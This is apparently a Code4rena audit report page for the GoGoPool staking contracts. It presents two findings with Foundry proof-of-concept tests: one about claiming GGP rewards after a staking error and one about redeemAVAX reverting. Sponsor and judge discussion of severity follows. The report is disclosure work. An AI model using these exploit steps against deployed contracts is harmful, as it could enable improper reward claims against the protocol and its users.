function testRecordStakingErrorCanGetRewards() public { // NodeOp can get rewards even if there was an error in registering the node as a validator // 1. NodeOp1 creates minipool // 2. Rialot/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError // 3. NodeOp1 withdraw his funds from minipool // 4. NodeOp1 can get rewards even if there was an error with the node registration as validator. address nodeOp1 = getActorWithTokens("nodeOp1", MAX_AMT, MAX_AMT); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; skip(dao.getRewardsCycleSeconds()); rewardsPool.startRewardsCycle(); // // 1. NodeOp1 creates minipool // vm.startPrank(nodeOp1); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(200 ether); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); // // 2. Rialto/multisig claimAndInitiateStaking, recordStakingStart and recordStakingError // vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); bytes32 errorCode = "INVALID_NODEID"; int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID); skip(2 weeks); vm.prank(address(rialto)); minipoolMgr.recordStakingError{value: depositAmt + avaxAssignmentRequest}(mp1.nodeID, errorCode); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex); assertEq(mp1Updated.avaxTotalRewardAmt, 0); assertEq(mp1Updated.errorCode, errorCode); assertEq(mp1Updated.avaxNodeOpRewardAmt, 0); assertEq(mp1Updated.avaxLiquidStakerRewardAmt, 0); assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0); assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0); // The highwater doesnt get reset in this case assertEq(staking.getAVAXAssignedHighWater(mp1Updated.owner), depositAmt); // // 3. NodeOp1 withdraw his funds from the minipool // vm.startPrank(nodeOp1); uint256 priorBalance_nodeOp = nodeOp1.balance; minipoolMgr.withdrawMinipoolFunds(mp1.nodeID); assertEq((nodeOp1.balance - priorBalance_nodeOp), depositAmt); vm.stopPrank(); // // 4. NodeOp1 can get rewards even if there was an error with the node registration as validator. // skip(2629756); vm.startPrank(address(rialto)); assertTrue(nopClaim.isEligible(nodeOp1)); //<- The NodeOp1 is eligible for rewards nopClaim.calculateAndDistributeRewards(nodeOp1, 200 ether); vm.stopPrank(); assertGt(staking.getGGPRewards(nodeOp1), 0); vm.startPrank(address(nodeOp1)); nopClaim.claimAndRestake(staking.getGGPRewards(nodeOp1)); //<- Claim nodeOp1 rewards vm.stopPrank(); }
Foundry/VsCode
The MinipoolManager.sol::recordStakingError()
function should reset the Assigned high water staking.resetAVAXAssignedHighWater(stakerAddr);
so the user can not claim rewards for a minipool with errors.
#0 - GalloDaSballo
2023-01-10T19:33:07Z
POC -> Primary
#1 - c4-judge
2023-01-10T19:33:07Z
GalloDaSballo marked the issue as primary issue
#2 - emersoncloud
2023-01-13T18:34:19Z
Good find. This is unique in terms of calling out avaxAssignedHighWater
but I'm going to link other issues dealing with recordStakingError
https://github.com/code-423n4/2022-12-gogopool-findings/issues/819
#3 - emersoncloud
2023-01-13T18:34:48Z
Since this is not a leak of funds in the protocol but GGP rewards instead, I think a medium designation is more appropriate
#4 - 0xju1ie
2023-01-19T15:49:35Z
So the warden is incorrect about the order of events that should happen, the correct order is the following:
claimAndInitiateStaking()
recordStakingStart()
if the staking with avalanche was successful. If it was not, Rialto will call recordStakingError()
. So Rialto will never be calling both of these functions, it is one or the other.avaxAssignedHighWater
is only changed in recordStakingStart()
, so not sure we would want to reset it in recordStakingError()
.
Questioning the validity of the issue.
#5 - emersoncloud
2023-01-20T13:16:41Z
The key issue is that a minipool won't ever go from Staking
to Error
state. It's currently allowed in our state machine but it's not a situation that can happen on the Avalanche network and something we'll fix. In that way it depends on Rialto making a mistake to transition the minipool from staking to error.
I think pointing out the issue in our state machine is valid and QA level.
#6 - GalloDaSballo
2023-02-03T10:10:13Z
The Warden has highlighted an issue with the FSM of the system
While Rialto is assumed as a perfect actor, the code allows calling recordStakingStart
and then recordStakingError
This state transition is legal, however will cause issues, such as setting avaxAssignedHighWater
to a higher value than intended, which could allow the staker to be entitled to rewards.
Because the State Transition will not happen in reality (per the Scope Requirements), am downgrading the finding to Medium Severity and believe the State Transition Check should be added to offer operators and end users a higher degree of on-chain guarantees
#7 - c4-judge
2023-02-03T10:10:23Z
GalloDaSballo changed the severity to 2 (Med Risk)
#8 - c4-judge
2023-02-08T08:31:06Z
GalloDaSballo marked the issue as selected for report
π Selected for report: 0xbepresent
Also found by: 0xdeadbeef0x, Breeje, Franfran, IllIllI, Matin, Rolezn, SmartSek, btk, ck, datapunk, fs0c, nadin, rvierdiiev, unforgiven
74.3593 USDC - $74.36
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L191 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L88
The totalReleasedAssets
variable is updated on the syncRewards() function if someone calls the function before rewardsCycleEnd
the redeemAVAX() will be reverted because the totalReleasedAssets
may not include all the rewards.
The ggAvax holder can not redeem his funds until the rewardsCycleEnd
I did the next test:
function testRedeemUnderOverFlow() public { // Redeem function reverts arithmetic error // 1.- Create minipool // 2.- Deposit rewards to the minipool // 3.- Sync the Rewards before the cycle end // 4.- Redeem function will revert // 5.- Redeem will be available after the cycle end. // Deposit liquid staker funds uint256 depositAmount = 1200 ether; uint256 nodeAmt = 2000 ether; uint128 ggpStakeAmt = 200 ether; vm.deal(bob, depositAmount); vm.prank(bob); ggAVAX.depositAVAX{value: depositAmount}();//Avax deposit 1200 // // 1.- Create minipool // address nodeOp = getActorWithTokens("nodeOp", uint128(depositAmount), ggpStakeAmt); // Nodeop stake GGP and create minipoool vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(nodeAmt / 2, nodeAmt / 2, duration); vm.stopPrank(); // Rialto init recordStakingStart vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); minipoolMgr.recordStakingStart(mp.nodeID, randHash(), block.timestamp); vm.stopPrank(); skip(mp.duration); // // 2.- Deposit rewards to the minipool // uint256 rewardsAmt = nodeAmt.mulDivDown(0.1 ether, 1 ether); console.log("Rewards amount:", rewardsAmt / 1 ether); vm.deal(address(rialto), address(rialto).balance + rewardsAmt); vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: nodeAmt + rewardsAmt}(mp.nodeID, block.timestamp, rewardsAmt); // // 3.- Sync the Rewards before the cycle end // ggAVAX.syncRewards(); uint256 maxRedeemSharesBob = ggAVAX.maxRedeem(bob); console.log("TotalReleasedAssets after syncRewards:", ggAVAX.totalReleasedAssets() / 1 ether); console.log("LastRewards after syncRewards:", ggAVAX.lastRewardsAmt() / 1 ether); console.log("Bob maxRedeem():", maxRedeemSharesBob / 1 ether); // // 4.- Redeem function will revert // skip(1 days); console.log("Bob PreviewRedeem() after skip one day:", ggAVAX.previewRedeem(maxRedeemSharesBob) / 1 ether); vm.prank(bob); vm.expectRevert(stdError.arithmeticError); // Revert by arithmetic error ggAVAX.redeemAVAX(maxRedeemSharesBob); // // 5.- Redeem will be available after the cycle end. // skip(ggAVAX.rewardsCycleLength() + 1 days); ggAVAX.syncRewards(); maxRedeemSharesBob = ggAVAX.maxRedeem(bob); console.log(""); console.log("TotalReleasedAssets after syncRewards:", ggAVAX.totalReleasedAssets() / 1 ether); console.log("LastRewards after syncRewards:", ggAVAX.lastRewardsAmt() / 1 ether); console.log("Bob maxRedeem():", maxRedeemSharesBob / 1 ether); console.log("Bob PreviewRedeem() after skip to the cycle end:", ggAVAX.previewRedeem(maxRedeemSharesBob) / 1 ether); vm.prank(bob); ggAVAX.redeemAVAX(maxRedeemSharesBob); }
Output:
[PASS] testRedeemUnderOverFlow() (gas: 1244356) Logs: Rewards amount: 200 TotalReleasedAssets after syncRewards: 1200 LastRewards after syncRewards: 85 Bob maxRedeem(): 1200 Bob PreviewRedeem() after skip one day: 1206 TotalReleasedAssets after syncRewards: 1285 LastRewards after syncRewards: 0 Bob maxRedeem(): 1200 Bob PreviewRedeem() after skip to the cycle end: 1285
Foundry/VsCode
Consider redeem the max available amount for the shares owner instead of revert. The maxRedeem()
function amount is not the same as the previewRedeem()
amount.
#0 - GalloDaSballo
2023-01-08T17:00:49Z
Coded POC is well documented -> Primary
#1 - c4-judge
2023-01-08T17:00:53Z
GalloDaSballo marked the issue as primary issue
#2 - emersoncloud
2023-01-17T09:15:51Z
This is a known issue that we don't intend to fix. The issue is most likely to present itself at the very start of the ggAVAX and not during typical operation. There's a bit more explanation here: https://github.com/fei-protocol/ERC4626/issues/24
I don't believe redeeming max available is an appropriate solution because the spec for redeem reads
MUST revert if all of shares cannot be redeemed (due to withdrawal limit being reached, slippage, the owner not having enough shares, etc).
#3 - GalloDaSballo
2023-01-30T19:29:32Z
The Warden has shown a scenario in which maxRedeem
can revert
While this can be attributed to rounding errors, it ultimately is possible for certain depositors to lose marginal amounts of their rewards or principal.
Because of the reduced impact, I agree with Medium Severity
This is a hedge case that has been argued to have happened very rarely, and for this reason, I maintain that the severity is Medium, but can agree with a nofix, as the worst case will require the Sponsor to offer a small amount of additional token, to allow the last withdrawer to maxRedeem
#4 - c4-judge
2023-02-08T08:30:52Z
GalloDaSballo marked the issue as selected for report